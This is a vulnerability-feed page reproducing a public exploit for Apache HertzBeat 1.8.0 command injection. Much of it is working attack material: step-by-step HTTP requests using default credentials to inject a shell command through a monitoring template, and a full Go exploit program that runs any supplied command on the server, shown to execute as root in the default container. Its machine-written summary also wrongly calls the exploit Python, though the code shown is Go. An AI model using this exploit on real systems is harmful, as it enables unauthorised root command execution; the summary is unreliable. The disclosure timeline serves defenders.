Apache HertzBeat 1.8.0 - Remote Code Execution
Apache HertzBeat version 1. 8. 0 is affected by a remote code execution vulnerability. Exploit code is publicly available, written in Python. The vulnerability allows an attacker to execute arbitrary code remotely on affected systems. No official patch or remediation information is provided in the available data.
AI Analysis
Technical Summary
Apache HertzBeat 1.8.0 contains a remote code execution vulnerability that can be exploited remotely. Public exploit code exists in Python, indicating the vulnerability is exploitable. There is no information about affected sub-versions or patch availability. The vulnerability is classified as critical due to its potential impact.
Potential Impact
Successful exploitation allows remote attackers to execute arbitrary code on the target system running Apache HertzBeat 1.8.0, potentially leading to full system compromise. No details on exploitation in the wild are reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider restricting network access to the affected service and monitoring for suspicious activity related to this vulnerability.
Indicators of Compromise
- exploit-code: # Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution # Google Dork: N/A # Date: 2026-03-09 # Exploit Author: Brett Gervasoni # Vendor Homepage: https://hertzbeat.apache.org/ # Software Link: https://github.com/apache/hertzbeat/releases # Version: 1.8.0 # Tested on: Linux (Docker; official HertzBeat image, uid=0 in container) # CVE: N/A ================================================================================ METADATA ================================================================================ Severity: CRITICAL Impact: Arbitrary command execution via monitoring template (script protocol) CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0) Affected Component: ScriptCollectImpl.collect() Affected Endpoint: PUT /api/apps/define/yml Authentication: Required (standard user or admin) Note: Apache Security does not classify this as a vulnerability; see HertzBeat security model: https://hertzbeat.apache.org/docs/help/security_model/ ================================================================================ VULNERABILITY SUMMARY ================================================================================ HertzBeat allows arbitrary OS commands to be executed via the scriptCommand parameter in a monitoring template definition. An authenticated user can overwrite a monitoring template definition via PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job. When the YAML specifies protocol: script, the attacker-controlled scriptCommand string is passed to ProcessBuilder (bash -c "<command>") without sanitization. If the overwritten template has active monitoring instances, updateAppCollectJob() re-dispatches them, triggering execution within seconds. If none exist, the attacker can create one via POST /api/monitor to trigger immediate execution. The default Docker deployment runs the process as root (uid=0). ================================================================================ VULNERABLE CODE (REFERENCE) ================================================================================ Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution: public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) { ScriptProtocol scriptProtocol = metrics.getScript(); // ... if (StringUtils.hasText(scriptProtocol.getScriptCommand())) { switch (scriptProtocol.getScriptTool()) { case BASH -> processBuilder = new ProcessBuilder( BASH, BASH_C, scriptProtocol.getScriptCommand().trim()); // payload // ... } } // ... Process process = processBuilder.start(); // executed } YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML gadget strings, not shell command injection: private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"}; ================================================================================ PROOF OF CONCEPT — RAW HTTP ================================================================================ Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a standard user "operator" / "hertzbeat" (user role); admin with default password also works. --- Step 1: Authenticate --- POST /api/account/auth/form HTTP/1.1 Host: TARGET:1157 Content-Type: application/json {"type":1,"identifier":"operator","credential":"hertzbeat"} Response: data.token (JWT) — use as Bearer below. --- Step 2: Overwrite linux_script template --- PUT /api/apps/define/yml HTTP/1.1 Host: TARGET:1157 Authorization: Bearer <JWT> Content-Type: application/json {"define":"app: linux_script\ncategory: os\nname:\n en-US: Linux Script\n zh-CN: Linux Script\nparams:\n - field: host\n name:\n en-US: Host\n zh-CN: Host\n type: host\n required: true\nmetrics:\n - name: basic\n i18n:\n en-US: Basic\n zh-CN: Basic\n priority: 0\n fields:\n - field: result\n type: 1\n i18n:\n en-US: Result\n zh-CN: Result\n protocol: script\n script:\n scriptTool: bash\n charset: UTF-8\n scriptCommand: id > /tmp/pwned\n parseType: multiRow\n"} Decoded define (YAML): app: linux_script category: os name: en-US: Linux Script zh-CN: Linux Script params: - field: host name: en-US: Host zh-CN: Host type: host required: true metrics: - name: basic i18n: en-US: Basic zh-CN: Basic priority: 0 fields: - field: result type: 1 i18n: en-US: Result zh-CN: Result protocol: script script: scriptTool: bash charset: UTF-8 scriptCommand: id > /tmp/pwned parseType: multiRow Expected response: HTTP/1.1 200 OK Content-Type: application/json {"code":0,"msg":null,"data":null} --- Step 3: Create monitor (if no linux_script monitors exist) --- POST /api/monitor HTTP/1.1 Host: TARGET:1157 Authorization: Bearer <JWT> Content-Type: application/json {"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]} --- Step 4: Verify (example: Docker) --- docker exec hertzbeat cat /tmp/pwned Expected: uid=0(root) gid=0(root) groups=0(root) ================================================================================ EXPLOIT CODE — script_command_rce.go (Go) ================================================================================ package main import ( "bytes" "encoding/json" "fmt" "io" "math/rand" "net/http" "os" "strings" ) const target = "http://localhost:1157" type authResponse struct { Code int `json:"code"` Data struct { Token string `json:"token"` } `json:"data"` } type apiResponse struct { Code int `json:"code"` Msg string `json:"msg"` } func main() { if len(os.Args) < 2 { fmt.Fprintf(os.Stderr, "Usage: %s <command>\n", os.Args[0]) fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0]) os.Exit(1) } cmd := strings.Join(os.Args[1:], " ") fmt.Println("============================================================") fmt.Println(" HertzBeat ScriptCollectImpl RCE") fmt.Println("============================================================") fmt.Println() fmt.Println("[*] Authenticating...") token, err := authenticate() if err != nil { fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err) os.Exit(1) } fmt.Printf("[+] Got token: %s...\n\n", token[:40]) fmt.Println("[*] Overwriting linux_script template...") fmt.Printf(" PUT /api/apps/define/yml\n") fmt.Printf(" scriptCommand: %s\n", cmd) err = putMaliciousDefine(token, cmd) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err) os.Exit(1) } fmt.Println("[+] Template overwritten.") fmt.Println() fmt.Println("[*] Creating monitor instance to trigger collection...") fmt.Println(" POST /api/monitor with app: linux_script") err = createMonitor(token) if err != nil { fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err) fmt.Println("[*] This may fail if a monitor already exists — checking anyway...") } else { fmt.Println("[+] Monitor created.") fmt.Println() } fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.") fmt.Printf("[+] Command: %s\n\n", cmd) fmt.Println("[*] Verify with (assuming its running in docker locally):") fmt.Println(" docker exec hertzbeat <check your payload>") } func authenticate() (string, error) { body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}` resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body)) if err != nil { return "", err } defer resp.Body.Close() var result authResponse if err := json.NewDecoder(resp.Body).Decode(&result); err != nil { return "", err } if result.Code != 0 || result.Data.Token == "" { return "", fmt.Errorf("unexpected response code %d", result.Code) } return result.Data.Token, nil } func putMaliciousDefine(token, command string) error { define := fmt.Sprintf(`app: linux_script category: os name: en-US: Linux Script zh-CN: Linux Script params: - field: host name: en-US: Host zh-CN: Host type: host required: true metrics: - name: basic i18n: en-US: Basic zh-CN: Basic priority: 0 fields: - field: result type: 1 i18n: en-US: Result zh-CN: Result protocol: script script: scriptTool: bash charset: UTF-8 scriptCommand: "%s && echo result done" parseType: multiRow `, command) payload, _ := json.Marshal(map[string]string{"define": define}) req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload)) req.Header.Set("Content-Type", "application/json") req.Header.Set("Authorization", "Bearer "+token) resp, err := http.DefaultClient.Do(req) if err != nil { return err } defer resp.Body.Close() respBody, _ := io.ReadAll(resp.Body) var result apiResponse if err := json.Unmarshal(respBody, &result); err != nil { return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody)) } if result.Code != 0 { return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg) } return nil } func createMonitor(token string) error { suffix := randSuffix() name := fmt.Sprintf("rce-poc-%s", suffix) body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name) req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body)) req.Header.Set("Content-Type", "application/json") req.Header.Set("Authorization", "Bearer "+token) resp, err := http.DefaultClient.Do(req) if err != nil { return err } defer resp.Body.Close() respBody, _ := io.ReadAll(resp.Body) var result apiResponse if err := json.Unmarshal(respBody, &result); err != nil { return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody)) } if result.Code != 0 { return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg) } return nil } func randSuffix() string { const chars = "abcdefghijklmnopqrstuvwxyz0123456789" b := make([]byte, 8) for i := range b { b[i] = chars[rand.Intn(len(chars))] } return string(b) } ================================================================================ NOTES ================================================================================ - A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is not required for the described flow. - A new custom app name (e.g. app: rce_custom) can be registered with POST instead of PUT to avoid overwriting an existing definition; then create a monitor for that app. ================================================================================ DISCLOSURE / VENDOR RESPONSE (SUMMARY) ================================================================================ Apache Security indicated this aligns with the documented security model: only trusted operators should receive accounts; customization is intentional. Role-based permission controls are still evolving; see vendor documentation. Reporting timeline: - 2026-02-19: Reported to Apache Security - 2026-02-19 to 2026-03-04: Discussion on post-authentication issues - 2026-03-04: Apache position communicated (risk accepted per security model) - 2026-03-09: Public advisory
Apache HertzBeat 1.8.0 - Remote Code Execution
Description
Apache HertzBeat version 1. 8. 0 is affected by a remote code execution vulnerability. Exploit code is publicly available, written in Python. The vulnerability allows an attacker to execute arbitrary code remotely on affected systems. No official patch or remediation information is provided in the available data.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
Apache HertzBeat 1.8.0 contains a remote code execution vulnerability that can be exploited remotely. Public exploit code exists in Python, indicating the vulnerability is exploitable. There is no information about affected sub-versions or patch availability. The vulnerability is classified as critical due to its potential impact.
Potential Impact
Successful exploitation allows remote attackers to execute arbitrary code on the target system running Apache HertzBeat 1.8.0, potentially leading to full system compromise. No details on exploitation in the wild are reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, consider restricting network access to the affected service and monitoring for suspicious activity related to this vulnerability.
Technical Details
- Edb Id
- 52563
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Apache HertzBeat 1.8.0 - Remote Code Execution
# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution # Google Dork: N/A # Date: 2026-03-09 # Exploit Author: Brett Gervasoni # Vendor Homepage: https://hertzbeat.apache.org/ # Software Link: https://github.com/apache/hertzbeat/releases # Version: 1.8.0 # Tested on: Linux (Docker; official HertzBeat image, uid=0 in container) # CVE: N/A ================================================================================ METADATA ===========================================================... (11720 more characters)
Threat ID: 6a084e9bec166c07b0dd9377
Added to database: 5/16/2026, 11:01:47 AM
Last enriched: 5/16/2026, 11:02:10 AM
Last updated: 5/17/2026, 5:30:40 AM
Views: 12
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.